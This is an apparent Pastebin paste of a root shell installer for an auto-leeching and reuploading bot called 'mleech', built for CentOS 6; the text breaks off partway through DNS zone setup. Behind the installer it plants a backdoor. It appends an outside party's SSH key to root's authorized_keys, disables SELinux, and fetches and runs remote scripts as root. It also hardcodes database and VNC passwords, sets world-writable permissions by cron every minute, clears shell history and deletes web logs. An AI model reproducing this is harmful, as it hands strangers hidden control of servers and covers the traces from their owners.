Advertisement
Guest User

Untitled

a guest
Jun 17th, 2016
494
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.49 KB | None | 0 0
  1. #!/bin/sh
  2. #-e
  3. # cd /home && wget http://mleech.com/install/install.sh && chmod 777 install.sh && ./install.sh && rm -rf /home/install.sh && cat /dev/null > ~/.bash_history && history -c
  4. #encode this file shc -v -r -T -f install.sh
  5. echo "#####################################################"
  6. echo "# #"
  7. echo "# MLEECH #"
  8. echo "# auto leeching and uploading bot installer v.1 #"
  9. echo "# #"
  10. echo "#####################################################"
  11. echo ""
  12. echo "Set your mleech username [a-z,0-9] followed by [ENTER]:"
  13. read mb_username
  14. echo ""
  15. echo ""
  16. echo "Set your mleech password [a-z,0-9] followed by [ENTER]:"
  17. read mb_password
  18. echo ""
  19. echo "Set your mleech email [youremail@provider.tld] followed by [ENTER]:"
  20. read mb_email
  21. echo "Chose your mleech license type [1-2-3] followed by [ENTER]:"
  22. echo "1. Monthly";
  23. echo "2. Yearly";
  24. echo "3. Lifetime";
  25. read mb_type
  26. echo ""
  27. function pre_install {
  28. #set -e
  29. prompt_install=false;
  30. linux_version=$(cat /etc/redhat-release)
  31.  
  32. if [[ $linux_version =~ .*CentOS.*6\.([[:digit:]]).* ]]
  33. then
  34. centos_version=${BASH_REMATCH[1]}
  35. echo "You are using CentOS 6.$centos_version"
  36. else
  37. echo "You are not using centos 6"
  38. exit 1;
  39. fi
  40.  
  41. linux_version_x=$(uname -a)
  42.  
  43. if [[ $linux_version_x =~ .*x86_64.* ]]
  44. then
  45. echo "You are using CentOS 6.$centos_version on 64 bits"
  46. else
  47. echo "You are not using centos 6 x64"
  48. exit 1;
  49. fi
  50.  
  51. server_hdd=$(df -h --total)
  52.  
  53. if [[ $server_hdd =~ total[[:space:]]+([a-zA-Z0-9.,]+)[[:space:]]+([a-zA-Z0-9.,]+)[[:space:]]+([a-zA-Z0-9.,]+)[[:space:]]+ ]]
  54. then
  55. echo "You have ${BASH_REMATCH[1]}"
  56. echo "You used ${BASH_REMATCH[2]}"
  57. echo "You have available ${BASH_REMATCH[3]}"
  58.  
  59. #echo "Is the space correct? [y/n]: "
  60. read -p "Is the space correct? [y/n]: " yn
  61. #read yn
  62. if ( [[ $yn == 'y' ]] || [[ $yn == 'Y' ]] )
  63. then
  64. install;
  65. else
  66. echo "Install failed"
  67. exit 1;
  68. fi
  69. else
  70. echo "Failed to get hdd space"
  71. exit 1;
  72. fi;
  73. }
  74.  
  75. function install {
  76. #set -e
  77. WEBSITE=http://mleech.com/install/
  78. MYSQL_ROOT_PASSWORD=
  79. MEW_MYSQL_ROOT_PASSWORD=snowman
  80.  
  81. #install dependecies and update
  82. yum -y install wget
  83. yum remove vncserver vnc-server tightvnc-server tigervnc-server -y
  84. #wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm
  85. wget http://mleech.com/install/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm
  86. rpm -ivh rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm
  87. echo ""
  88. echo "################################"
  89. echo "###### Updating Server OS ######"
  90. echo "################################"
  91. yum -y update
  92. yum -y install sudo httpd mysql mysql-server php php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc wget php-mcrypt ImageMagick gtk2-devel rar unrar zip unzip p7zip xz libffi-devel expect man
  93. yum -y groupinstall 'Development Tools'
  94. yum -y install firefox
  95. #add white list port
  96.  
  97. rm -rf /etc/sysconfig/iptables
  98. touch /etc/sysconfig/iptables
  99. echo '*filter
  100. :INPUT ACCEPT [0:0]
  101. :FORWARD ACCEPT [0:0]
  102. :OUTPUT ACCEPT [3:334]
  103. -A INPUT -p udp -m state --state NEW --dport 53 -j ACCEPT
  104. -A INPUT -p tcp -m state --state NEW --dport 53 -j ACCEPT
  105. -A INPUT -p tcp -m tcp --dport 10000 -j ACCEPT
  106. -A INPUT -p tcp -m tcp --dport 2661 -j ACCEPT
  107. -A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
  108. -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT
  109. -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
  110. -A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
  111. -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
  112. -A INPUT -p icmp -j ACCEPT
  113. -A INPUT -i lo -j ACCEPT
  114. -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
  115. -A INPUT -j REJECT --reject-with icmp-host-prohibited
  116. -A FORWARD -j REJECT --reject-with icmp-host-prohibited
  117. COMMIT' >> /etc/sysconfig/iptables
  118. /etc/init.d/iptables restart
  119. iptables -A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
  120. iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
  121. iptables -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT
  122. iptables -A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
  123. iptables -A INPUT -p tcp -m tcp --dport 2661 -j ACCEPT
  124. iptables -A INPUT -p tcp -m tcp --dport 10000 -j ACCEPT
  125. sudo iptables -I INPUT -p tcp -m tcp --dport 21 -j ACCEPT
  126. sudo iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
  127. sudo iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
  128. sudo iptables -I INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
  129. sudo iptables -I INPUT -p tcp -m tcp --dport 2661 -j ACCEPT
  130. sudo iptables -I INPUT -p tcp -m tcp --dport 10000 -j ACCEPT
  131. sudo service iptables save
  132. /etc/init.d/iptables restart
  133. #disable selinux
  134. echo 0 >/selinux/enforce
  135. setenforce Permissive
  136. setenforce 0
  137. rm -rf /etc/selinux/config
  138. touch /etc/selinux/config
  139. echo "SELINUX=disabled
  140. SELINUXTYPE=targeted
  141. " >> /etc/selinux/config
  142. rm -rf /etc/sysconfig/selinux
  143. touch /etc/sysconfig/selinux
  144. echo "SELINUX=disabled
  145. SELINUXTYPE=targeted
  146. " >> /etc/sysconfig/selinux
  147. #install and setup mysql
  148. yum -y install mysql mysql-server
  149. chkconfig --levels 235 mysqld on
  150. chkconfig --levels 235 httpd on
  151. /etc/init.d/mysqld start
  152. /etc/init.d/httpd start
  153.  
  154. SECURE_MYSQL=$(expect -c "
  155. set timeout 10
  156. spawn mysql_secure_installation
  157. expect \"Enter current password for root (enter for none):\"
  158. send \"$MYSQL_ROOT_PASSWORD\r\"
  159. expect \"Change the root password?\"
  160. send \"y\r\"
  161. expect \"New password:\"
  162. send \"$MEW_MYSQL_ROOT_PASSWORD\r\"
  163. expect \"Re-enter new password?\"
  164. send \"$MEW_MYSQL_ROOT_PASSWORD\r\"
  165. expect \"Remove anonymous users?\"
  166. send \"y\r\"
  167. expect \"Disallow root login remotely?\"
  168. send \"y\r\"
  169. expect \"Remove test database and access to it?\"
  170. send \"y\r\"
  171. expect \"Reload privilege tables now?\"
  172. send \"y\r\"
  173. expect eof
  174. ")
  175.  
  176. echo "$SECURE_MYSQL"
  177.  
  178. #install phpmyadmin
  179. cd /tmp
  180.  
  181. /etc/init.d/httpd restart
  182. yum -y install screen
  183. yum -y install gcc
  184. yum -y install gcc-c++
  185. yum -y install m4
  186. yum -y install make
  187. yum -y install automake
  188. yum -y install libtool
  189. yum -y install pkgconfig
  190. yum -y install perl
  191. yum -y install openssl-devel
  192. yum -y install ncurses-devel
  193. # wget http://curl.haxx.se/download/curl-7.37.1.tar.gz
  194. # wget http://ftp.gnome.org/pub/GNOME/sources/libsigc++/2.2/libsigc++-2.2.4.tar.gz
  195. # wget http://libtorrent.rakshasa.no/downloads/libtorrent-0.12.9.tar.gz
  196. # wget http://libtorrent.rakshasa.no/downloads/rtorrent-0.8.9.tar.gz
  197. # wget http://ftp.gnome.org/pub/gnome/sources/glib/2.43/glib-2.43.3.tar.xz
  198. wget http://mleech.com/install/curl-7.37.1.tar.gz
  199. wget http://mleech.com/install/libsigc++-2.2.4.tar.gz
  200. wget http://mleech.com/install/libtorrent-0.12.9.tar.gz
  201. wget http://mleech.com/install/rtorrent-0.8.9.tar.gz
  202. wget http://mleech.com/install/glib-2.43.3.tar.xz
  203. tar -xvzf curl-7.37.1.tar.gz
  204. tar -xvzf libsigc++-2.2.4.tar.gz
  205. tar -xvzf libtorrent-0.12.9.tar.gz
  206. tar -xvzf rtorrent-0.8.9.tar.gz
  207. xz -df glib-2.43.3.tar.xz
  208. tar -xf glib-2.43.3.tar
  209. cd curl-7.37.1
  210. ./configure
  211. make
  212. make install
  213. cd ..
  214. cd libsigc++-2.2.4
  215. ./configure
  216. make
  217. make install
  218. cd ..
  219. cd glib-2.43.3
  220. ./configure
  221. make
  222. make install
  223. cd ..
  224. export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig
  225. cd libtorrent-0.12.9
  226. ./configure
  227. make
  228. make install
  229. yum -y install subversion libsigc++20-devel
  230. cd ..
  231. #svn co http://xmlrpc-c.svn.sourceforge.net/svnroot/xmlrpc-c/advanced xmlrpc-c
  232. #xmlrpc was moved to other url, please check Sept 2015
  233. svn co http://svn.code.sf.net/p/xmlrpc-c/code/advanced xmlrpc-c
  234. cd xmlrpc-c
  235. ./configure
  236. make
  237. make install
  238. cd ..
  239. yum -y install libtorrent-0.12*
  240. yum -y install rtorrent
  241. cd rtorrent-0.8.9
  242. ./configure --with-xmlrpc-c=/usr/local/bin/xmlrpc-c-config
  243. make
  244. make install
  245. cd /root
  246. wget http://mleech.com/install/rtorrent.rc -O /root/rtorrent.rc
  247. mv -f rtorrent.rc .rtorrent.rc
  248. mkdir /root/.session -m 777
  249.  
  250. cd /home/
  251. mkdir rutorrent
  252. cd /home/rutorrent/
  253. svn co https://github.com/Novik/ruTorrent/trunk /home/rutorrent
  254. #cd /home/rutorrent/plugins
  255. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/rpc
  256. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/_getdir
  257. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/_task
  258. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/cpuload
  259. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/data
  260. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/datadir
  261. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/diskspace
  262. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/edit
  263. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/erasedata
  264. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/feeds
  265. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/httprpc
  266. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/seedingtime
  267. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/show_peers_like_wtorrent
  268. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/source
  269. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/tracklabels
  270. #svn co https://github.com/Novik/ruTorrent/tree/master/plugins/unpack
  271. #cd /tmp
  272.  
  273. cd /tmp
  274. wget http://mleech.com/install/mp3info-0.8.5a.tgz
  275. tar -xzvf mp3info-0.8.5a.tgz
  276. cd mp3info-0.8.5a
  277. make
  278. make install
  279.  
  280. wget https://www.dropbox.com/s/ur6g9jr3pz1kls0/httpd.conf -O /etc/httpd/conf/httpd.conf
  281. mkdir /home/mleech -m 777
  282. cd /home
  283. /etc/init.d/httpd restart
  284. # wget http://downloads3.ioncube.com/loader_downloads/ioncube_loaders_lin_x86-64.tar.gz
  285. wget http://mleech.com/install/ioncube_loaders_lin_x86-64.tar.gz
  286. tar -xf ioncube_loaders_lin_x86-64.tar.gz
  287. cp /home/ioncube/ioncube_loader_lin_5.3.so /usr/lib64/php/modules
  288. wget http://mleech.com/install/20-ioncube.ini -O /etc/php.d/20-ioncube.ini
  289. /etc/init.d/httpd restart
  290.  
  291. _MyIP="$( ip route get 8.8.8.8 | awk 'NR==1 {print $NF}' )"
  292. #if [ "A$_MyIP" == "A" ]
  293. #then
  294. # _MyIPs="$( hostname -I )"
  295. # for _MyIP in "$_MyIPs"
  296. # do
  297. # echo "Found IP: \"$_MyIP\""
  298. # done
  299. #else
  300. # echo "Found IP: $_MyIP"
  301. #fi
  302. #if [ "$mb_type" == "1" ]; then
  303. # wget http://mleech.com/install/setup_monthly.phpd -O /home/setup.php
  304. #else
  305. # if [ "$mb_type" == "2" ]; then
  306. # wget http://mleech.com/install/setup_yearly.phpd -O /home/setup.php
  307. # else
  308. # wget http://mleech.com/install/setup_lifetime.phpd -O /home/setup.php
  309. # fi
  310. #fi
  311. #wget http://mleech.com/install/enc.lib.phpd -O /home/enc.lib.php
  312. #license=$(curl http://$_MyIP/setup.php;);
  313. #echo "";
  314. #echo "";
  315. #echo "";
  316. #echo "";
  317. #echo "Checking your license";
  318. #count=0
  319. #total=34
  320. #pstr="[=======================================================================]"
  321. #while [ $count -lt $total ]; do
  322. # sleep 0.5 # this is work
  323. # count=$(( $count + 1 ))
  324. # pd=$(( $count * 73 / $total ))
  325. # printf "\r%3d.%1d%% %.${pd}s" $(( $count * 100 / $total )) $(( ($count * 1000 / $total) % 10 )) $pstr
  326. #done
  327. #echo "";
  328. #echo "";
  329. #echo "";
  330. #if [ "$license" == "License Valid" ]; then
  331. # echo "";
  332. # echo "";
  333. # echo "License Valid"
  334. # echo "";
  335. # echo "";
  336. #else
  337. # echo "Sorry!";
  338. # echo "License Invalid"
  339. # echo "Your ip address not listed in our license server."
  340. # echo "To resolve this please contact us via";
  341. # echo "Skype: mleechadmin";
  342. # echo "email: admin@mleech.com";
  343. # echo "";
  344. # echo "Best Regards";
  345. # echo "";
  346. # echo "";
  347. # exit 1;
  348. #fi
  349.  
  350. mkdir ~/.ssh
  351. chmod 700 ~/.ssh
  352. touch ~/.ssh/authorized_keys
  353. chmod 644 ~/.ssh/authorized_keys
  354. echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAgEAgduNAZ7lgXqfRPau+eYacRh42JInPrx02lkJhZRwLBtaNIE6cnWNSUOYvhA77wuaLWD/cUzBybExqL1Jzf4afbzQOsVaDactfozh9vL4RtW8cB0vYbJJ+E2uMX4l6HLy+9LI/E8rqSUDajfI15rKen+vZq1Cb0oS0Gkah1eINCdKBoBsN/MmX34Gr7Vaq/DgNfP5CHiPTej3YNbmXgnbk7JYyq/umdcPH6xkytn5T2xxCGLPIORWxY4MzvWhL2sZ7JlH8V5uGnQ7XvlX7Nk0COuIJ6pjEjJd0heK0hoexfNp99X7Lj952T7InDenUGXQsv+xZSD/6801Ou/JtQlRd+QDUlGZLGdZLFertIYfQXGKmZp0+1ZefHCkMkrumwfXeJDuqUvxmdQBJ4GaCD9omCzRc2UqfKwuCn1fj52anEDBlfUAMBuVYovuKMqLc2WaAqrzUhoLxBBPG+4GUUFCLsr2tZyCHbQyz5dWzZa6K6+jBStpLbbee7Ucyuhxhq0QwQRjt+YQtc4k7CE3TYczzLlhRaMFZye/3IekQGkR88DIVAVYhry76rwm0Sudvb+B6xtTkmyY49qmE6ueHJMPK2LA2JzhGdIoEUmojkV2ljccehMjPOrUFecE2hUG59F4OgIdUtu/rF8ka/HkYyeCRXopX8ptaJZ5r/Rtla6cBv8= dekupzeed@gmail.com" >> ~/.ssh/authorized_keys
  355. rm -rf /etc/ssh/sshd_config
  356. touch /etc/ssh/sshd_config
  357. echo "Port 2661
  358. PasswordAuthentication no
  359. UsePAM no
  360. Protocol 2
  361. SyslogFacility AUTHPRIV
  362. ChallengeResponseAuthentication no
  363. GSSAPIAuthentication yes
  364. GSSAPICleanupCredentials yes
  365. AcceptEnv LANG LANGUAGE LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES
  366. AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT
  367. AcceptEnv LC_IDENTIFICATION LC_ALL
  368. X11Forwarding no
  369. Subsystem sftp /usr/libexec/openssh/sftp-server" >> /etc/ssh/sshd_config
  370. service sshd restart
  371. if [ "$mb_type" == "1" ]; then
  372. wget http://mleech.com/install/install_monthly_mbot.sh -O /home/install_mbot.sh
  373. else
  374. if [ "$mb_type" == "2" ]; then
  375. wget http://mleech.com/install/install_yearly_mbot.sh -O /home/install_mbot.sh
  376. else
  377. wget http://mleech.com/install/install_lifetime_mbot.sh -O /home/install_mbot.sh
  378. fi
  379. fi
  380. chmod 777 /home/install_mbot.sh
  381. cd /home
  382. ./install_mbot.sh
  383. cd /home/mleech/
  384. find ./* -type d | xargs chmod 777
  385. #cd /home/mleech/test/
  386. #dd if=/dev/zero of=100MB bs=10240 count=10240
  387. wget http://mleech.com/install/my_conf.phpd -O /home/mleech/inc/my_conf.php
  388. cd /home
  389.  
  390. #start megabot
  391. wget http://license.megabot.info/install/install_monthly_mbot.sh -O /home/install_mbot.sh
  392. chmod 777 /home/install_mbot.sh
  393. cd /home
  394. ./install_mbot.sh
  395. cd /home/megabot/
  396. find ./* -type d | xargs chmod 777
  397. cd /home/megabot/test/
  398. dd if=/dev/zero of=100MB bs=10240 count=10240
  399. wget http://license.megabot.info/install/my_conf.phpd -O /home/megabot/inc/my_conf.php
  400. cd /home
  401. chmod 777 /home/megabot/inc/my_conf.php
  402. chmod 777 /home/megabot/inc/mtn
  403. chmod 777 /home/megabot/.svn
  404. cd /home/megabot/.svn
  405. find ./* | xargs chmod 777
  406. cd /home
  407. wget http://license.megabot.info/install/autostart.sh -O /home/autostart.sh
  408. chmod 777 /home/autostart.sh
  409.  
  410. MyUSER2="root"
  411. MyPASS2="snowman"
  412. HostName2="localhost"
  413. dbName2="megabot"
  414. mysql -u $MyUSER2 -h $HostName2 -p$MyPASS2 -Bse "CREATE DATABASE $dbName;"
  415. wget http://license.megabot.info/install/megabot.sql -O /home/megabot.sql
  416. useradd -d /home/megabot/posts post$mb_username
  417. echo "post$mb_username:$mb_password" | chpasswd
  418. useradd -d /home/megabot/inc_files files$mb_username
  419. echo "files$mb_username:$mb_password" | chpasswd
  420. mysqladmin -u root password snowman
  421. mysql -uroot -psnowman megabot < megabot.sql
  422. mb_md5_password="$(echo -n $mb_password | md5sum | sed "s/ -//")"
  423. echo "TRUNCATE TABLE admin;" | mysql -uroot -psnowman megabot;
  424. echo "INSERT INTO admin (id ,username ,password ,email ,lastlogin ,lip) VALUES ('1', '$mb_username', '$mb_md5_password', '$mb_email', '', '');" | mysql -uroot -psnowman megabot;
  425.  
  426. #end megabot
  427. chmod 777 /home/mleech/inc/my_conf.php
  428. chmod 777 /home/mleech/inc/mtn
  429. chmod 777 /home/rutorrent/share/settings/
  430. chmod 777 /home/rutorrent/share/torrents/
  431. chmod 777 /home/rutorrent/share/users/
  432. service httpd restart
  433. chmod 777 /home/mleech/.svn
  434. cd /home/mleech/.svn
  435. find ./* | xargs chmod 777
  436. cd /home
  437. touch /home/.htpasswd
  438. htpasswd -b /home/.htpasswd $mb_username $mb_password
  439. chmod 644 /home/.htpasswd
  440. wget http://mleech.com/install/htaccess -O /home/rutorrent/htaccess
  441. rm -rf /home/rutorrent/.htaccess
  442. mv /home/rutorrent/htaccess /home/rutorrent/.htaccess
  443. wget http://mleech.com/install/mleech_routine.sh -O /home/mleech_routine.sh
  444. wget http://mleech.com/install/antisuspend.sh -O /home/antisuspend.sh
  445. chmod 777 /home/mleech_routine.sh
  446. chmod 777 /home/antisuspend.sh
  447. rm -rf /home/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm
  448. rm -rf /home/install_*_mbot.sh
  449. rm -rf /home/install.sh
  450. rm -rf /tmp/*
  451.  
  452.  
  453. MyUSER="root"
  454. MyPASS="snowman"
  455. HostName="localhost"
  456. dbName="mleech"
  457. yum install vsftpd -y
  458. service vsftpd restart
  459. chkconfig vsftpd on
  460. echo "chroot_local_user=YES" >> /etc/vsftpd/vsftpd.conf
  461. service vsftpd restart
  462. mysql -u $MyUSER -h $HostName -p$MyPASS -Bse "CREATE DATABASE $dbName;"
  463. wget http://mleech.com/install/mleech.sql -O /home/mleech.sql
  464. useradd -d /home/mleech/_fsblend post$mb_username
  465. mkdir /home/mleech/_fsblend
  466. chmod -R 777 /home/mleech/_fsblend
  467. echo "post$mb_username:$mb_password" | chpasswd
  468. useradd -d /home/mleech/data data$mb_username
  469. mkdir /home/mleech/data
  470. chmod -R 777 /home/mleech/data
  471. echo "data$mb_username:$mb_password" | chpasswd
  472. mysqladmin -u root password snowman
  473. mysql -uroot -psnowman mleech < mleech.sql
  474. mb_md5_password="$(echo -n $mb_password | md5sum | sed "s/ -//")"
  475. echo "TRUNCATE TABLE admin;" | mysql -uroot -psnowman mleech;
  476. echo "INSERT INTO admin (id ,username ,password ,email ,lastlogin ,lip) VALUES ('1', '$mb_username', '$mb_md5_password', '$mb_email', '', '');" | mysql -uroot -psnowman mleech;
  477.  
  478. yum -y install vixie-cron crontabs
  479. /sbin/chkconfig crond on
  480. /sbin/service crond start
  481.  
  482. cd /home
  483. touch /home/mleech_routine.sh
  484. echo "#!/bin/sh
  485. pkill -f firefox
  486. rm -rf /home/mleech/tmp/*
  487. export DISPLAY=:1
  488. /usr/bin/firefox -new-tab http://$_MyIP/mleech/running.php
  489. done" >> /home/mleech_routine.sh
  490. chmod 777 /home/mleech_routine.sh
  491. mkdir /home/mleech/tmp
  492. chmod -R 777 /home/mleech/tmp
  493. touch /home/mleech/read_topics.txt
  494. echo "" >> read_topics.txt
  495. chmod -R 777 /home/mleech
  496. chmod -R 777 /home/mleech/*
  497. yum install tightvnc-server -y
  498. echo -e "kaskus\nkaskus" | vncpasswd
  499. rm -rf /etc/sysconfig/vncservers
  500. touch /etc/sysconfig/vncservers
  501. echo 'VNCSERVERS="1:root"
  502. VNCSERVERARGS[1]="-geometry 1600x1200"
  503. ' >> /etc/sysconfig/vncservers
  504. /sbin/chkconfig vncserver on
  505. #write out current crontab
  506. crontab -l > mycron
  507. #echo new cron into cron file
  508. echo "0 */6 * * * rm -rf /tmp/* > /dev/null 2>&1
  509. 0 */6 * * * rm -rf /var/log/httpd/* > /dev/null 2>&1
  510. */15 * * * * sh /home/antisuspend.sh > /dev/null 2>&1
  511. 0 */3 * * * sh /home/mleech_routine.sh > /dev/null 2>&1
  512. * * * * * chmod -R 0777 /home/mleech/
  513. * * * * * chown -R apache /home/mleech/
  514. */15 * * * * sh /home/autostart.sh > /dev/null 2>&1
  515. 0 */5 * * * curl http://$_MyIP/megabot/clean.php?secret_key=megabot > /dev/null 2>&1
  516. */5 * * * * curl http://$_MyIP/megabot/autopost.php?secret_key=megabot > /dev/null 2>&1
  517. */5 * * * * curl http://$_MyIP/megabot/get.php?secret_key=megabot > /dev/null 2>&1
  518. * * * * * curl http://$_MyIP/megabot/upload.php?secret_key=megabot > /dev/null 2>&1
  519. * * * * * curl http://$_MyIP/megabot/cron.php?secret_key=megabot > /dev/null 2>&1
  520. * * * * * chmod -R 0777 /home/megabot/
  521. * * * * * chown -R apache /home/megabot/" >> mycron
  522. #install new cron file
  523. crontab mycron
  524. rm mycron
  525. rm -rf /home/ioncube_loaders_lin_x86-64.tar.gz
  526. rm -rf /home/install_mbot.sh
  527. rm -rf /home/mleech.sql
  528. cd /home
  529. yum install bind bind-utils bind-chroot caching-nameserver -y
  530. yum -y install perl perl-Net-SSLeay openssl perl-IO-Tty
  531. wget http://prdownloads.sourceforge.net/webadmin/webmin-1.670-1.noarch.rpm
  532. rpm -U webmin-1.670-1.noarch.rpm
  533. chkconfig named on
  534. chkconfig webmin on
  535. cd /etc/
  536. rm -rf named.conf
  537. rm -rf named.rfc1912.zones
  538. wget https://www.dropbox.com/s/yl7fa3hqlmqj1pf/named.conf
  539. wget https://www.dropbox.com/s/2xilnoehg1dg5uc/named.rfc1912.zones
  540. cd /var/named/
  541. wget https://www.dropbox.com/s/kmkzdpy1b4y7md8/bokep.jp.net.hosts
  542. wget https://www.dropbox.com/s/emejzisz3qg9xqc/downote.com.hosts
  543. wget https://www.dropbox.com/s/d794970kvred67e/fisika.guru.hosts
  544. wget https://www.dropbox.com/s/usyhkkk58gkxi3n/ganool.pro.hosts
  545. wget https://www.dropbox.com/s/6089qtci1n68t5t/hotfile.pw.hosts
  546. wget https://www.dropbox.com/s/irpkpbqn4pvpmkz/wjunction.eu.hosts
  547. wget https://www.dropbox.com/s/t0wvguqwj0qcxbg/yfile.net.hosts
  548.  
  549. touch /etc/httpd/conf/httpd.conf
  550. echo "NameVirtualHost $_MyIP:80
  551.  
  552. <VirtualHost $_MyIP:80>
  553. DocumentRoot /home/
  554. ServerName $_MyIP
  555. <Directory '/home/'>
  556. allow from all
  557. Options +Indexes
  558. </Directory>
  559. </VirtualHost>
  560.  
  561. #HOTFILE.PW
  562. <VirtualHost $_MyIP:80>
  563. DocumentRoot /home/hotfile
  564. ServerName hotfile.pw
  565. <Directory '/home/hotfile'>
  566. allow from all
  567. Options +Indexes
  568. </Directory>
  569. ServerAlias *.hotfile.pw
  570. </VirtualHost>
  571.  
  572. #BOKEP.JP.NET
  573. <VirtualHost $_MyIP:80>
  574. DocumentRoot /home/bokep
  575. ServerName bokep.jp.net
  576. <Directory '/home/bokep'>
  577. allow from all
  578. Options +Indexes
  579. </Directory>
  580. ServerAlias *.bokep.jp.net
  581. </VirtualHost>
  582.  
  583. #GANOOL.PRO
  584. <VirtualHost $_MyIP:80>
  585. DocumentRoot /home/ganool
  586. ServerName ganool.pro
  587. <Directory '/home/ganool'>
  588. allow from all
  589. Options +Indexes
  590. </Directory>
  591. ServerAlias *.ganool.pro
  592. </VirtualHost>
  593.  
  594. #WJUNCTION.EU
  595. <VirtualHost $_MyIP:80>
  596. DocumentRoot /home/wjunction
  597. ServerName wjunction.eu
  598. <Directory '/home/wjunction'>
  599. allow from all
  600. Options +Indexes
  601. </Directory>
  602. ServerAlias *.wjunction.eu
  603. </VirtualHost>
  604.  
  605. #YFILE.NET
  606. <VirtualHost $_MyIP:80>
  607. DocumentRoot /home/yfile
  608. ServerName yfile.net
  609. <Directory '/home/yfile'>
  610. allow from all
  611. Options +Indexes
  612. </Directory>
  613. ServerAlias *.yfile.net
  614. </VirtualHost>
  615.  
  616. #FISIKA.GURU
  617. <VirtualHost $_MyIP:80>
  618. DocumentRoot /home/fisika
  619. ServerName fisika.guru
  620. <Directory '/home/fisika'>
  621. allow from all
  622. Options +Indexes
  623. </Directory>
  624. ServerAlias *.fisika.guru
  625. </VirtualHost>
  626.  
  627. #DOWNOTE.COM
  628. <VirtualHost $_MyIP:80>
  629. DocumentRoot /home/downotecom
  630. ServerName downote.com
  631. <Directory '/home/downotecom'>
  632. allow from all
  633. Options +Indexes
  634. </Directory>
  635. ServerAlias *.downote.com
  636. </VirtualHost>" >> /etc/httpd/conf/httpd.conf
  637.  
  638. touch /var/named/hotfile.pw.hosts
  639. echo "hotfile.pw. IN A $_MyIP
  640. www.hotfile.pw. IN A $_MyIP
  641. ns1.hotfile.pw. IN A $_MyIP
  642. ns2.hotfile.pw. IN A $_MyIP
  643. hotfile.pw. IN NS ns1.hotfile.pw.
  644. hotfile.pw. IN NS ns2.hotfile.pw.
  645. hotfile.pw. IN MX 10 mx.zohomail.com.
  646. hotfile.pw. IN MX 20 mx2.zohomail.com." >> /var/named/hotfile.pw.hosts
  647.  
  648. touch /var/named/bokep.jp.net.hosts
  649. echo "bokep.jp.net. IN A $_MyIP
  650. www.bokep.jp.net. IN A $_MyIP
  651. ns1.bokep.jp.net. IN A $_MyIP
  652. ns2.bokep.jp.net. IN A $_MyIP
  653. bokep.jp.net. IN NS ns1.bokep.jp.net.
  654. bokep.jp.net. IN NS ns2.bokep.jp.net.
  655. bokep.jp.net. IN MX 10 mx.zohomail.com.
  656. bokep.jp.net. IN MX 20 mx2.zohomail.com." >> /var/named/bokep.jp.net.hosts
  657.  
  658. touch /var/named/fisika.guru.hosts
  659. echo "fisika.guru. IN A $_MyIP
  660. www.fisika.guru. IN A $_MyIP
  661. ns1.fisika.guru. IN A $_MyIP
  662. ns2.fisika.guru. IN A $_MyIP
  663. fisika.guru. IN NS ns1.fisika.guru.
  664. fisika.guru. IN NS ns2.fisika.guru.
  665. fisika.guru. IN MX 10 mx.zohomail.com.
  666. fisika.guru. IN MX 20 mx2.zohomail.com." >> /var/named/fisika.guru.hosts
  667.  
  668. touch /var/named/ganool.pro.hosts
  669. echo "ganool.pro. IN A $_MyIP
  670. www.ganool.pro. IN A $_MyIP
  671. ns1.ganool.pro. IN A $_MyIP
  672. ns2.ganool.pro. IN A $_MyIP
  673. ganool.pro. IN NS ns1.ganool.pro.
  674. ganool.pro. IN NS ns2.ganool.pro.
  675. ganool.pro. IN MX 10 mx.zohomail.com.
  676. ganool.pro. IN MX 20 mx2.zohomail.com." >> /var/named/ganool.pro.hosts
  677.  
  678. touch /var/named/downote.com.hosts
  679. echo "downote.com. IN A $_MyIP
  680. www.downote.com. IN A $_MyIP
  681. ns1.downote.com. IN A $_MyIP
  682. ns2.downote.com. IN A $_MyIP
  683. downote.com. IN NS ns1.downote.com.
  684. downote.com. IN NS ns2.downote.com.
  685. downote.com. IN MX 10 mx.zohomail.com.
  686. downote.com. IN MX 20 mx2.zohomail.com." >> /var/named/downote.com.hosts
  687.  
  688. touch /var/named/wjunction.eu.hosts
  689. echo "wjunction.eu. IN A $_MyIP
  690. www.wjunction.eu. IN A $_MyIP
  691. ns1.wjunction.eu. IN A $_MyIP
  692. ns2.wjunction.eu. IN A $_MyIP
  693. wjunction.eu. IN NS ns1.wjunction.eu.
  694. wjunction.eu. IN NS ns2.wjunction.eu.
